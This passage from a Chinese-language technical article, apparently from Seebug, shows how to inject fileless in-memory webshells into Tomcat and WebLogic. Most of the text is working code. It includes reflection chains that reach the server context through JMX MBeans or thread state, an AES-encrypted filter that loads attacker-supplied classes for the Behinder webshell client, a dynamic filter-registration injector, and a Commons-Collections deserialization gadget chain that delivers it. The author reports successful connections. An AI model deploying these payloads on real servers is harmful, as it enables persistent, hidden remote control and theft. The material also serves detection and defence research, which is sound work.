    }
}

那么,如果我們沒有pagecontext對象呢?可以嘗試從Mbeans中獲取StandardContext,或者參考threede3am方法。

2.通過Mbean獲取context

Meban簡介

Tomcat 使用 JMX MBean 來實現自身的性能管理。每個包里的 mbeans-descriptor.xml 是針對 Catalina 的 JMX MBean 描述。通過Tomcat的MbeanServer我們就可以拿到注冊到JMX的對象。 org.apache.tomcat.util.modeler.Registry類中提供了getMBeanServer()方法用于獲得(或創建)MBeanServer 。在JmxMBeanServer中,其mbsInterceptor屬性存放著我們想要的MBeanServer,

圖片

這個mbsInterceptor對象經過動態調試就是com.sun.jmx.interceptor.DefaultMBeanServerInterceptor。

在DefaultMBeanServerInterceptor存在一個Repository屬性由于將注冊的MBean進行保存 。

圖片

Repository中存在domainTb屬性,存儲著所有domain的MBean

圖片

domianTb的get方法接收domain參數,會返回一個HashMap,里面存儲著此domain下所有注冊的Mbean

圖片

經過如此的鏈式尋找,我們終于有辦法從MBeanServer中獲取到注冊到其中的類。

JmxMBeanServer jmxMBeanServer = (JmxMBeanServer) Registry.getRegistry(null, null).getMBeanServer();
// 獲取mbsInterceptor
Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
field.setAccessible(true);
Object mbsInterceptor = field.get(jmxMBeanServer);
// 獲取repository
field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
field.setAccessible(true);
Object repository = field.get(mbsInterceptor);
// 獲取domainTb
field = Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb");
field.setAccessible(true);
HashMap<String, Map<String, NamedObject>> domainTb = (HashMap<String,Map<String,NamedObject>>)field.get(repository);
Object aaa = domainTb.get("Catalina");

我們用JConsole打開Tomcat的mbeans,很多, 圖片

我們的目的是從中獲取StandardContext,先看看能不能直接獲取到

tomcat源碼中全局搜索 name="StandardContext" 我們是可以定位到StandardContext

圖片

但是獲取失敗.....

圖片

猜測可能是默認沒有注冊,domainTb.get("Catalina")中并沒有查找到,放棄直接獲取,

然后考慮獲取其它已經注冊的類,再反射獲取屬性。

這里我們打印出所有Catalina下已經注冊的類

HashMap aaa = (HashMap) domainTb.get("Catalina");
Iterator<String> it = aaa.keySet().iterator();
while(it.hasNext()) {
    String key = it.next();
    System.out.println(key + " : " + aaa.get(key));
}
NamedObject test = domainTb.get("Catalina").get("context=/,host=localhost,name=StandardContext,type=Context");
System.out.println("aaaa");

圖片

大概看了下,這幾個類通過鏈式方式可以獲取到StandardContext

  • context=/bx_test_war_exploded,host=localhost,name=NonLoginAuthenticator,type=Valve
  • context=/bx_test_war_exploded,host=localhost,name=StandardContextValve,type=Valve
  • context=/manager,host=localhost,name=BasicAuthenticator,type=Valve
  • ...

拿NonLoginAuthenticator舉例,獲取StandardContext

NonLoginAuthenticator繼承了AuthenticatorBase,其中的context屬性,在實際運行中為我們想要的StandardContext

NamedObject nonLoginAuthenticator = domainTb.get("Catalina").get("context=/bx_test_war_exploded,host=localhost,name=NonLoginAuthenticator,type=Valve");

圖片

成功反射獲取context

圖片

這里停一下我們觀察下這個key

context=/bx_test_war_exploded,host=localhost,name=NonLoginAuthenticator,type=Valve

context是項目名稱,host是localhost,在實際攻擊中,這兩個變量把我們并不確定,可以試著猜一下。不過有一點幸運的是,Tomcat 7,8,9都存在NonLoginAuthenticator

我們嘗試將內存馬注入的payload合入到CC中

首先我們自己寫一個反序列化的漏洞

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    try {
        String base64_ser = request.getParameter("ser");
        BASE64Decoder  decoder = new BASE64Decoder();
        byte[] ser_bytes = decoder.decodeBuffer(base64_ser);
        ByteArrayInputStream bis = new ByteArrayInputStream (ser_bytes);
        ObjectInputStream ois = new ObjectInputStream (bis);
        ois.readObject();
    }catch (Exception e){
        e.printStackTrace();
    }

    System.out.println("22222222222222222222222222222222222222");
    PrintWriter out = response.getWriter();
    out.println("hello world");
}
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
InvocationHandler obj = cc3.getobject(cmd);
hello.deserializeToObject(hello.serializeToString(obj));

反序列化demo環境測試通過 圖片

接下來我們將webshell的測試代碼合入到CC中

Myfilter代碼如下

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.lang.reflect.Method;
//@WebFilter(filterName = "all_filter")
public class MyFilter_old implements Filter {
    String k="1a1dc91c907325c6";
    public MyFilter_old(String key){
        this.k = key;
    }
    public void destroy() {
    }
    public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws ServletException, IOException {
        System.out.println("filter被執行了....\n");
        try{
            if (true) {
                String k="1a1dc91c907325c6";
                HttpSession session = ((HttpServletRequest) req).getSession();
                session.putValue("u",k);
                Cipher c = Cipher.getInstance("AES");
                c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
                String reader = req.getReader().readLine();
                System.out.println(reader);
//                byte[] evilClassBytes = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(req.getReader().readLine()));
                byte[] evilClassBytes = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(reader));
                Class evilClass = new U(this.getClass().getClassLoader()).g(evilClassBytes);
//                Class evilClass = Class.forName("net.rebeyond.behinder.payload.java.BasicInfo");
                Object a = evilClass.newInstance();
                Method b = evilClass.getDeclaredMethod("fuck", String.class, ServletRequest.class, ServletResponse.class, HttpSession.class);
                b.invoke(a, k,req, resp,session);
                return;
            }
        } catch (Exception e) {
            e.printStackTrace();//實際中這里注釋掉 調試用
        }
        chain.doFilter(req, resp);
    }
    public void init(FilterConfig config) throws ServletException {
    }
}

我們將Myfilter 轉換成byte[] inject_tomcat 中直接defineclass調用 injectwebshell_tomcat如下

import javax.management.MBeanServer;
import com.sun.jmx.mbeanserver.NamedObject;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.modeler.Registry;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import javax.servlet.Filter;
import javax.servlet.ServletContext;
import javax.servlet.http.HttpServletResponse;
public class Injectwebshell_tomcat {
? ? public static String url;
? ? public static String password;
? ? public Injectwebshell_tomcat() {}
? ? static{
? ? ? ? System.out.println("ffffffffffffffffffffffffffffffffffffff");
? ? ? ? String filterUrlPattern = "/*";
? ? ? ? String filterName = "233333";
? ? ? ? String password = "pass";
? ? ? ? try {
? ? ? ? ? ? MBeanServer mBeanServer = Registry.getRegistry(null, null).getMBeanServer();
? ? ? ? ? ? // 獲取mbsInterceptor
? ? ? ? ? ? Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
? ? ? ? ? ? field.setAccessible(true);
? ? ? ? ? ? Object mbsInterceptor = field.get(mBeanServer);
? ? ? ? ? ? // 獲取repository
? ? ? ? ? ? field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
? ? ? ? ? ? field.setAccessible(true);
? ? ? ? ? ? Object repository = field.get(mbsInterceptor);
? ? ? ? ? ? // 獲取domainTb
? ? ? ? ? ? field = Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb");
? ? ? ? ? ? field.setAccessible(true);
? ? ? ? ? ? HashMap<String, Map<String, NamedObject>> domainTb = (HashMap<String,Map<String,NamedObject>>)field.get(repository);
? ? ? ? ? ? HashMap aaa = (HashMap) domainTb.get("Catalina");
? ? ? ? ? ? String keyNonLoginAuthenticator = "context=/bx_test_war_exploded,host=localhost,name=NonLoginAuthenticator,type=Valve";
//
//? ? ? ? ? ? Iterator<String> it = aaa.keySet().iterator();
//? ? ? ? ? ? while(it.hasNext()) {
//? ? ? ? ? ? ? ? String key = it.next();
//? ? ? ? ? ? ? ? System.out.println(key + " : " + aaa.get(key));
//? ? ? ? ? ? ? ? response.getWriter().println(key + " : " + aaa.get(key));
//? ? ? ? ? ? ? ? if(key.contains("NonLoginAuthenticator")){
//? ? ? ? ? ? ? ? ? ? keyNonLoginAuthenticator = key;
//? ? ? ? ? ? ? ? }
//? ? ? ? ? ? }


? ? ? ? ? ? // 獲取domain
? ? ? ? ? ? NamedObject nonLoginAuthenticator = domainTb.get("Catalina").get(keyNonLoginAuthenticator);
? ? ? ? ? ? field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object");
? ? ? ? ? ? field.setAccessible(true);
? ? ? ? ? ? Object object = field.get(nonLoginAuthenticator);
? ? ? ? ? ? // 獲取resource
? ? ? ? ? ? field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
? ? ? ? ? ? field.setAccessible(true);
? ? ? ? ? ? Object resource = field.get(object);
? ? ? ? ? ? // 獲取context
? ? ? ? ? ? field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context");
? ? ? ? ? ? field.setAccessible(true);
? ? ? ? ? ? StandardContext standardContext = (StandardContext) field.get(resource);
? ? ? ? ? ? // 獲取servletContext
? ? ? ? ? ? field = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
? ? ? ? ? ? field.setAccessible(true);
? ? ? ? ? ? ServletContext servletContext = (ServletContext) field.get(standardContext);
? ? ? ? ? ? if (standardContext != null) {
? ? ? ? ? ? ? ? //修改狀態,要不然添加不了
? ? ? ? ? ? ? ? Field stateField = org.apache.catalina.util.LifecycleBase.class
? ? ? ? ? ? ? ? ? ? ? ? .getDeclaredField("state");
? ? ? ? ? ? ? ? stateField.setAccessible(true);
? ? ? ? ? ? ? ? stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
? ? ? ? ? ? ? ? //創建一個自定義的Filter馬
? ? ? ? ? ? ? ? byte[] MFbytes = new byte[]{Myfilter 的 bytes};
? ? ? ? ? ? ? ? java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});
? ? ? ? ? ? ? ? defineClassMethod.setAccessible(true);
? ? ? ? ? ? ? ? Class myclass = (Class) defineClassMethod.invoke(Thread.currentThread().getContextClassLoader(),? MFbytes, 0, MFbytes.length);
? ? ? ? ? ? ? ? Constructor MFconstructor = myclass.getConstructor();
? ? ? ? ? ? ? ? MFconstructor.setAccessible(true);
? ? ? ? ? ? ? ? Filter my_filter = (Filter) MFconstructor.newInstance();
? ? ? ? ? ? ? ? //添加filter馬
? ? ? ? ? ? ? ? javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName, my_filter);
? ? ? ? ? ? ? ? filterRegistration.setInitParameter("encoding", "utf-8");
? ? ? ? ? ? ? ? filterRegistration.setAsyncSupported(false);
? ? ? ? ? ? ? ? filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{filterUrlPattern});
? ? ? ? ? ? ? ? //狀態恢復,要不然服務不可用
? ? ? ? ? ? ? ? if (stateField != null) {
? ? ? ? ? ? ? ? ? ? stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? if (standardContext != null) {
? ? ? ? ? ? ? ? ? ? //生效filter
? ? ? ? ? ? ? ? ? ? Method filterStartMethod = StandardContext.class
? ? ? ? ? ? ? ? ? ? ? ? ? ? .getMethod("filterStart");
? ? ? ? ? ? ? ? ? ? filterStartMethod.setAccessible(true);
? ? ? ? ? ? ? ? ? ? filterStartMethod.invoke(standardContext, null);
? ? ? ? ? ? ? ? ? ? Class ccc = null;
? ? ? ? ? ? ? ? ? ? try {
? ? ? ? ? ? ? ? ? ? ? ? ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
? ? ? ? ? ? ? ? ? ? } catch (Throwable t){}
? ? ? ? ? ? ? ? ? ? if (ccc == null) {
? ? ? ? ? ? ? ? ? ? ? ? try {
? ? ? ? ? ? ? ? ? ? ? ? ? ? ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
? ? ? ? ? ? ? ? ? ? ? ? } catch (Throwable t){}
? ? ? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? ? ? //把filter插到第一位
? ? ? ? ? ? ? ? ? ? Class c = Class.forName("org.apache.catalina.core.StandardContext");
? ? ? ? ? ? ? ? ? ? Method m = c.getMethod("findFilterMaps");
? ? ? ? ? ? ? ? ? ? Object[] filterMaps = (Object[]) m.invoke(standardContext);
? ? ? ? ? ? ? ? ? ? Object[] tmpFilterMaps = new Object[filterMaps.length];
? ? ? ? ? ? ? ? ? ? int index = 1;
? ? ? ? ? ? ? ? ? ? for (int i = 0; i < filterMaps.length; i++) {
? ? ? ? ? ? ? ? ? ? ? ? Object o = filterMaps[i];
? ? ? ? ? ? ? ? ? ? ? ? m = ccc.getMethod("getFilterName");
? ? ? ? ? ? ? ? ? ? ? ? String name = (String) m.invoke(o);
? ? ? ? ? ? ? ? ? ? ? ? if (name.equalsIgnoreCase(filterName)) {
? ? ? ? ? ? ? ? ? ? ? ? ? ? tmpFilterMaps[0] = o;
? ? ? ? ? ? ? ? ? ? ? ? } else {
? ? ? ? ? ? ? ? ? ? ? ? ? ? tmpFilterMaps[index++] = filterMaps[i];
? ? ? ? ? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? ? ? for (int i = 0; i < filterMaps.length; i++) {
? ? ? ? ? ? ? ? ? ? ? ? filterMaps[i] = tmpFilterMaps[i];
? ? ? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? }
? ? ? ? ? ? }
? ? ? ? } catch (Exception e) {
? ? ? ? ? ? e.printStackTrace();
? ? ? ? }
? ? }
}

構造CC代碼如下

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class cc3 {
    public static InvocationHandler getobject(String cmd) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
//        String cmd = "java.lang.Runtime.getRuntime().exec(\"open  /System/Applications/Calculator.app\");";
        // 創建 static 代碼塊,并插入代碼
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //設置父類為AbstractTranslet,避免報錯
        // 寫入.class 文件
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        // 進入 defineTransletClasses() 方法需要的條件
        setFieldValue(templates, "_name", "name");
        setFieldValue(templates, "_class", null);
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        });
        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);

        Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        handler_constructor.setAccessible(true);
        InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //創建第一個代理的handler
        Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //創建proxy對象

        Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        AnnotationInvocationHandler_Constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
        return handler;
//        try{
//            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc3"));
//            outputStream.writeObject(handler);
//            outputStream.close();
//
//            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc3"));
//            inputStream.readObject();
//        }catch(Exception e){
//            e.printStackTrace();
//        }
    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }
    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
    public static void main(String[] args) throws Exception {
        // String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        // InvocationHandler obj = cc3.getobject(cmd);
        // hello.deserializeToObject(hello.serializeToString(obj));
        String cmd = "try{sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();" +
? ? "byte[] inject_omcat_bytes = decoder.decodeBuffer(\"inject_tomcat base64編碼后數據\");\n" +
? ? "java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod(\"defineClass\",new Class[]{byte[].class, int.class, int.class});" +
? ? "defineClassMethod.setAccessible(true);" +
? ? "Class myclass = (Class) defineClassMethod.invoke(Thread.currentThread().getContextClassLoader(),? inject_omcat_bytes, 0, inject_omcat_bytes.length);" +
? ? "java.lang.reflect.Constructor MFconstructor = myclass.getConstructor();" +
? ? "MFconstructor.setAccessible(true);" +
? ? "MFconstructor.newInstance();}catch (Exception e){e.printStackTrace();}";
InvocationHandler obj = cc3.getobject(cmd);
hello.deserializeToObject(hello.serializeToString(obj));
    }
}

效果 冰蝎配置連接

圖片

成功連接

圖片

至此,測試完畢。

3.threade3am方法獲取context

借鑒threade3am師傅的項目地址https://github.com/threedr3am/ysoserial,我們從中摘出來我們想要的獲取context部分代碼

String filterUrlPattern = "/*";
        String filterName = filtername;
        System.out.println(url+"   ");
        try {
            System.out.println("SSSSSS start start start");
            /*剛開始反序列化后執行的邏輯*/
            //修改 WRAP_SAME_OBJECT 值為 true
            java.lang.Class c1 = java.lang.Class.forName("org.apache.catalina.core.ApplicationDispatcher");
            java.lang.reflect.Field f1 = c1.getDeclaredField("WRAP_SAME_OBJECT");
            java.lang.reflect.Field modifiersField = f1.getClass().getDeclaredField("modifiers");
            modifiersField.setAccessible(true);
            modifiersField.setInt(f1, f1.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
            f1.setAccessible(true);
            if (!f1.getBoolean(null)) {
                f1.setBoolean(null, true);
            }
            //初始化 lastServicedRequest
            c1 = java.lang.Class.forName("org.apache.catalina.core.ApplicationFilterChain");
            f1 = c1.getDeclaredField("lastServicedRequest");
            modifiersField = f1.getClass().getDeclaredField("modifiers");
            modifiersField.setAccessible(true);
            modifiersField.setInt(f1, f1.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
            f1.setAccessible(true);
            if (f1.get(null) == null) {
                f1.set(null, new ThreadLocal());
            }
            //初始化 lastServicedResponse
            f1 = c1.getDeclaredField("lastServicedResponse");
            modifiersField = f1.getClass().getDeclaredField("modifiers");
            modifiersField.setAccessible(true);
            modifiersField.setInt(f1, f1.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
            f1.setAccessible(true);
            if (f1.get(null) == null) {
                f1.set(null, new ThreadLocal());
            }


//            java.lang.reflect.Field f = org.apache.catalina.core.ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
            java.lang.reflect.Field f = c1.getDeclaredField("lastServicedRequest");
//            System.out.println("11111111111111111111");
            f.setAccessible(true);
            java.lang.ThreadLocal t = (java.lang.ThreadLocal) f.get(null);
            /*shell注入,前提需要能拿到request、response等*/
            if (t != null && t.get() != null) {
                javax.servlet.ServletRequest servletRequest = (javax.servlet.ServletRequest) t.get();
                System.out.println(servletRequest);
                javax.servlet.ServletContext servletContext = servletRequest.getServletContext();
                System.out.println(servletContext);
                //獲取ApplicationContext
                Field field = servletContext.getClass().getDeclaredField("context");
                field.setAccessible(true);
                ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext);
                //獲取StandardContext
                field = applicationContext.getClass().getDeclaredField("context");
                field.setAccessible(true);
                StandardContext standardContext = (StandardContext) field.get(applicationContext);
                .....
   }

分析代碼,獲取context分為兩步,首先修改 WRAP_SAME_OBJECT 值為 true 然后初始化 lastServicedRequest,最后從javax.servlet.ServletRequest獲取context

使用上面的測試環境,成功注入filter

圖片

注: 以上方式tomcat6 均不可

tomcat6缺少javax.servlet.DispatcherType類

三、Weblogic 內存馬注入

原理同樣使用使用動態注冊Filter 的方式 參考文章https://www.cnblogs.com/potatsoSec/p/13162792.html我們直接跟著大佬的文章走吧

跟進weblogic的Filter關鍵流程,斷點下到doFilter,通過查看堆棧信息定位一些關鍵函數、

圖片

通過跟蹤堆棧信息,我們可以找到,在wrapRun函數中,會判斷系統中是否存在filter以及listener。如果存在,則獲取FilterChain,然后依次調用Filter。原理與tomcat類似

圖片

跟進getFilterChain函數,它在FilterManger中,這個weblogic.servlet.internal.FilterManager,是weblogic用來管理filter的,我們需要的動態注冊Filter功能它也提供了,好方便,直接就有了,比tomcat方便多了!

圖片

我們現在已經知道FilterManger有這個功能,現在就是要獲取FIlterManger,在weblogic中,context會存放FilterManger,這個問題就成了如何獲取context,很熟悉是不是2333

和Tomcat一樣,存在兩種方法,

  • 從pageContext取 jsp頁面中存在
  • 從線程中取

不再討論第一種,直接看第二種

Class<?> executeThread = Class.forName("weblogic.work.ExecuteThread");
Method m = executeThread.getDeclaredMethod("getCurrentWork");
Object currentWork = m.invoke(Thread.currentThread());
Field connectionHandlerF = currentWork.getClass().getDeclaredField("connectionHandler");
connectionHandlerF.setAccessible(true);
Object obj = connectionHandlerF.get(currentWork);
Field requestF = obj.getClass().getDeclaredField("request");
requestF.setAccessible(true);
obj = requestF.get(obj);
Field contextF = obj.getClass().getDeclaredField("context");
contextF.setAccessible(true);
Object context = contextF.get(obj);

現在我們成功獲取到了context,接下來就是調用registerFilter函數將我們的filter注冊,但是這里遇到了一個問題,在FilterManager的registerFilter方法中,主要通過FilterWrapper類去包裝Filter類。但是FilterWrapper類的構造函數中,并沒有可以傳遞Class的參數,只可以傳遞ClassName,FilterManager通過ClassName去查找Class,這個就蛋疼了,如果直接調用這個方法,肯定找不到的呀 圖片

這里跟下過程,FIlter將會在loadFIlter中實例化,

圖片

filterWrapper.getFilterClassName中獲取FilterClass的名稱,然后通過context的createInstance方法去實例化。createInstance

圖片

我們看到了classloader,weblogic中有自定義的classloader,跟進它的loadclass方法,會首先從cache中查找是否存在待查找的類,如果存在,則直接返回該名稱對應的Class

public Class loadClass(String name) throws ClassNotFoundException {
    boolean doTrace = ctDebugLogger.isDebugEnabled();
    if (doTrace) {
        ClassLoaderDebugger.debug(this, SupportedClassLoader.CACL, "loadClass", name);
    }
    Class res = (Class)this.cachedClasses.get(name);
    if (res != null) {
        return res;
    } else {
        try {
            if (!this.childFirst) {
                return super.loadClass(name);
            } else if (!name.startsWith("java.") && (!name.startsWith("javax.") || name.startsWith("javax.xml")) && !name.startsWith("weblogic.")) {
                try {
                    synchronized(this) {
                        return this.findClass(name);
                    }
                } catch (ClassNotFoundException var7) {
                    return super.loadClass(name);
                }
            } else {
                return super.loadClass(name);
            }
        } catch (Error var8) {
            if (doTrace) {
                ClassLoaderDebugger.debug(this, var8);
            }
            throw var8;
        } catch (ClassNotFoundException var9) {
            if (doTrace) {
                ClassLoaderDebugger.debug(this, var9);
            }
            throw var9;
        }
    }
}

參考文章直接給出,我們可以通過反射直接將自己的Filter放到這個緩存中,問題都解決了,整體實現代碼

try {
? ? ? ? ? ? Class<?> executeThread = Class.forName("weblogic.work.ExecuteThread");
? ? ? ? ? ? Method m = executeThread.getDeclaredMethod("getCurrentWork");
? ? ? ? ? ? Object currentWork = m.invoke(Thread.currentThread());
? ? ? ? ? ? Field connectionHandlerF = currentWork.getClass().getDeclaredField("connectionHandler");
? ? ? ? ? ? connectionHandlerF.setAccessible(true);
? ? ? ? ? ? Object obj = connectionHandlerF.get(currentWork);
? ? ? ? ? ? Field requestF = obj.getClass().getDeclaredField("request");
? ? ? ? ? ? requestF.setAccessible(true);
? ? ? ? ? ? obj = requestF.get(obj);
? ? ? ? ? ? Field contextF = obj.getClass().getDeclaredField("context");
? ? ? ? ? ? contextF.setAccessible(true);
? ? ? ? ? ? Object context = contextF.get(obj);
? ? ? ? ? ? Method getFilterManagerM = context.getClass().getDeclaredMethod("getFilterManager");
? ? ? ? ? ? Object filterManager = getFilterManagerM.invoke(context);
? ? ? ? ? ? Method registerFilterM = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
// String filterName, String filterClassName, String[] urlPatterns, String[] servletNames, Map initParams, String[] dispatchers
? ? ? ? ? ? registerFilterM.setAccessible(true);
? ? ? ? ? ? Field classLoaderF = context.getClass().getDeclaredField("classLoader");
? ? ? ? ? ? classLoaderF.setAccessible(true);
? ? ? ? ? ? ClassLoader cl = (ClassLoader) classLoaderF.get(context);
? ? ? ? ? ? Field cachedClassesF = cl.getClass().getDeclaredField("cachedClasses");
? ? ? ? ? ? cachedClassesF.setAccessible(true);
? ? ? ? ? ? Object cachedClass = cachedClassesF.get(cl);
? ? ? ? ? ? Method getM = cachedClass.getClass().getDeclaredMethod("get", Object.class);
? ? ? ? ? ? if (getM.invoke(cachedClass, "Myfilter") == null) {
? ? ? ? ? ? ? ? byte[] Uclassbate = new byte[] {Filter的字節碼數據};
? ? ? ? ? ? ? ? Method defineClass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
? ? ? ? ? ? ? ? defineClass.setAccessible(true);
? ? ? ? ? ? ? ? Class evilFilterClass = (Class) defineClass.invoke(cl, Uclassbate, 0, Uclassbate.length);
// 惡意類名稱為 Myfilter? filter 名稱為filtername
? ? ? ? ? ? ? ? Method putM = cachedClass.getClass().getDeclaredMethod("put", Object.class, Object.class);
? ? ? ? ? ? ? ? putM.invoke(cachedClass, "Myfilter", evilFilterClass);
? ? ? ? ? ? }
? ? ? ? ? ? registerFilterM.invoke(filterManager, filterName, "Myfilter", new String[]{filterUrlPattern}, null, null, null);
? ? ? ? } catch (Exception e) {
? ? ? ? ? ? e.printStackTrace();
? ? ? ? }

wblogic12.1.3測試成功,這里直接用反序列化漏洞打的 圖片

四、參考鏈接

https://mp.weixin.qq.com/s/DMVcqtiNG9gMdrBUyCRCgw

http://www.bjnorthway.com/1233/

https://www.cnblogs.com/skisqibao/p/10278987.html

https://www.runoob.com/w3cnote/filter-filterchain-filterconfig-intro.html

https://developer.aliyun.com/article/83765

https://www.cnblogs.com/potatsoSec/p/13162792.html

https://www.cnblogs.com/lxmwb/p/13235572.html

https://github.com/cnsimo/TomcatFilterInject/blob/master/src/com/reinject/MyFilter/TomcatShellFilter.java

https://lucifaer.com/2020/05/12/Tomcat%E9%80%9A%E7%94%A8%E5%9B%9E%E6%98%BE%E5%AD%A6%E4%B9%A0/

https://www.cnblogs.com/potatsoSec/p/13162792.html


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1441/